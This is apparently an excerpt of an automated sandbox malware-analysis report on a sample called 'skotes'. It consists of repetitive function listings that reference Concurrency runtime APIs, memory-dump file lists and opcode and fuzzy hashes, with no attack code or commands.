Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 001E17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 001E17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 001E17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 001E180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 001E181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 001E1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 001E183B

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: c4593cedfeebe036ced96fa5847cd093c16c6e2c81a8ea99a29c0f73fa157991
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 1C818B71E00A65AFCB18CFAAC590ABDB7F6FF48704B1546ADE405AB701C770AD42CB84

Function 001EEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001EEC81

Part of subcall function 001E8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 001E8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 001EECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 001EECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 001EED0C

Part of subcall function 001EE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 001EE7D7
Part of subcall function 001EE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 001EE86F
Part of subcall function 001EE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 001EE879
Part of subcall function 001EE7AF: Concurrency::location::_Assign.LIBCMT ref: 001EE8AD
Part of subcall function 001EE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 001EE8B5

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 391f2c9c3445ab2cd5a16243ffbb933bf5d0d28f3c2668169beb1351da9f6f23
Instruction ID: c1e42d47f9998f5191acc3a067e54b05bf3d036dc8d242fbd67f3a7f69934e20
Opcode Fuzzy Hash: 391f2c9c3445ab2cd5a16243ffbb933bf5d0d28f3c2668169beb1351da9f6f23
Instruction Fuzzy Hash: 0E51B231A00649DBCF18DF91DC99BADB7B5EF54310F158069E9067B392CB70AE05CB91

Function 001DCB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 001DCBAA

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: c35abe53a90bdcb92888bd95ebd53d96d3ddadca2dd72e37ca4c96c4c6c88e34
Instruction ID: ee1c401656b1e84860ee4aaac074923110e1fab25444f3ef7a045497f8009aa4
Opcode Fuzzy Hash: c35abe53a90bdcb92888bd95ebd53d96d3ddadca2dd72e37ca4c96c4c6c88e34
Instruction Fuzzy Hash: 4BB09232A1383447CA612B58BC4C9AE77189B80A6230A9157D801A7224CBA09D828BD4

Function 001DDD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c543379f7517b95537b9f224ce7920ba0d66a25a792214169be84f4599dc42ee
Instruction ID: 3ae5c65192311811764304be2412a2ebf7fae746feaa970106cc5dadffae9651
Opcode Fuzzy Hash: c543379f7517b95537b9f224ce7920ba0d66a25a792214169be84f4599dc42ee
Instruction Fuzzy Hash: A251CFB2A00616DBDB25CF98E8897AAB7F1FB68310F24856AC405EB354D371A901CF50

Function 001F26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 001F26E3

Part of subcall function 001F24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001F2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 001F2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 001F2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 001F275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 001F27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 001F27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 001F2846

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
